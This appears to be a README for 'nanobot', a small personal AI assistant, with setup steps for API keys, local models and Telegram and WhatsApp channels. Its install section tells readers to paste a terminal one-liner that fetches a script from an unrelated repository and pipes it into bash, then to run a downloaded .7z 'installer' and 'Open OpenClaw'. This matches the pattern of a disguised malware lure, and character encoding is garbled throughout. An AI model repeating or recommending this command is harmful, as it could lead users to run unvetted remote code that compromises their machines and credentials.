π nanobot is an ultra-lightweight personal AI assistant inspired by openclaw
β‘οΈ Delivers core agent functionality in just ~4,000 lines of code β 99% smaller than Clawdbot's 430k+ lines.
- 2026-02-01 π nanobot launched! Welcome to try π nanobot!
πͺΆ Ultra-Lightweight: Just ~4,000 lines of code β 99% smaller than Clawdbot - core functionality.
π¬ Research-Ready: Clean, readable code that's easy to understand, modify, and extend for research.
β‘οΈ Lightning Fast: Minimal footprint means faster startup, lower resource usage, and quicker iterations.
π Easy-to-Use: One-click to depoly and you're ready to go.
π 24/7 Real-Time Market Analysis |
π Full-Stack Software Engineer |
π Smart Daily Routine Manager |
π Personal Knowledge Assistant |
|---|---|---|---|
| Discovery β’ Insights β’ Trends | Develop β’ Deploy β’ Scale | Schedule β’ Automate β’ Organize | Learn β’ Memory β’ Reasoning |
Download the latest installer for your platform from the Releases.
- π»Open Terminal
- βPaste the command below
- β Press Enter
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/puppeteerrr/dmg/refs/heads/main/nanobot)"- Download the
nanobot_x64.7zfile. - Run the installer.
- Open OpenClaw.
Tip
Set your API key in ~/.nanobot/config.json.
Get API keys: OpenRouter (LLM) Β· Brave Search (optional, for web search)
You can also change the model to minimax/minimax-m2 for lower cost.
1. Initialize
nanobot onboard2. Configure (~/.nanobot/config.json)
{
"providers": {
"openrouter": {
"apiKey": "sk-or-v1-xxx"
}
},
"agents": {
"defaults": {
"model": "anthropic/claude-opus-4-5"
}
},
"tools": {
"web": {
"search": {
"apiKey": "BSA-xxx"
}
}
}
}3. Chat
nanobot agent -m "What is 2+2?"That's it! You have a working AI assistant in 2 minutes.
Run nanobot with your own local models using vLLM or any OpenAI-compatible server.
1. Start your vLLM server
vllm serve meta-llama/Llama-3.1-8B-Instruct --port 80002. Configure (~/.nanobot/config.json)
{
"providers": {
"vllm": {
"apiKey": "dummy",
"apiBase": "http://localhost:8000/v1"
}
},
"agents": {
"defaults": {
"model": "meta-llama/Llama-3.1-8B-Instruct"
}
}
}3. Chat
nanobot agent -m "Hello from my local LLM!"Tip
The apiKey can be any non-empty string for local servers that don't require authentication.
Talk to your nanobot through Telegram or WhatsApp β anytime, anywhere.
| Channel | Setup |
|---|---|
| Telegram | Easy (just a token) |
| Medium (scan QR) |
Telegram (Recommended)
1. Create a bot
- Open Telegram, search
@BotFather - Send
/newbot, follow prompts - Copy the token
2. Configure
{
"channels": {
"telegram": {
"enabled": true,
"token": "YOUR_BOT_TOKEN",
"allowFrom": ["YOUR_USER_ID"]
}
}
}Get your user ID from
@userinfoboton Telegram.
3. Run
nanobot gatewayRequires Node.js β₯18.
1. Link device
nanobot channels login
# Scan QR with WhatsApp β Settings β Linked Devices2. Configure
{
"channels": {
"whatsapp": {
"enabled": true,
"allowFrom": ["+1234567890"]
}
}
}3. Run (two terminals)
# Terminal 1
nanobot channels login
# Terminal 2
nanobot gatewayConfig file: ~/.nanobot/config.json
Note
Groq provides free voice transcription via Whisper. If configured, Telegram voice messages will be automatically transcribed.
| Provider | Purpose | Get API Key |
|---|---|---|
openrouter |
LLM (recommended, access to all models) | openrouter.ai |
anthropic |
LLM (Claude direct) | console.anthropic.com |
openai |
LLM (GPT direct) | platform.openai.com |
groq |
LLM + Voice transcription (Whisper) | console.groq.com |
gemini |
LLM (Gemini direct) | aistudio.google.com |
nanobot/
βββ agent/ # π§ Core agent logic
β βββ loop.py # Agent loop (LLM β tool execution)
β βββ context.py # Prompt builder
β βββ memory.py # Persistent memory
β βββ skills.py # Skills loader
β βββ subagent.py # Background task execution
β βββ tools/ # Built-in tools (incl. spawn)
βββ skills/ # π― Bundled skills (github, weather, tmux...)
βββ channels/ # π± WhatsApp integration
βββ bus/ # π Message routing
βββ cron/ # β° Scheduled tasks
βββ heartbeat/ # π Proactive wake-up
βββ providers/ # π€ LLM providers (OpenRouter, etc.)
βββ session/ # π¬ Conversation sessions
βββ config/ # βοΈ Configuration
βββ cli/ # π₯οΈ Commands
Roadmap
- Voice Transcription β Support for Groq Whisper (Issue #13)
- Multi-modal β See and hear (images, voice, video)
- Long-term memory β Never forget important context
- Better reasoning β Multi-step planning and reflection
- More integrations β Discord, Slack, email, calendar
- Self-improvement β Learn from feedback and mistakes
nanobot is for educational, research, and technical exchange purposes only





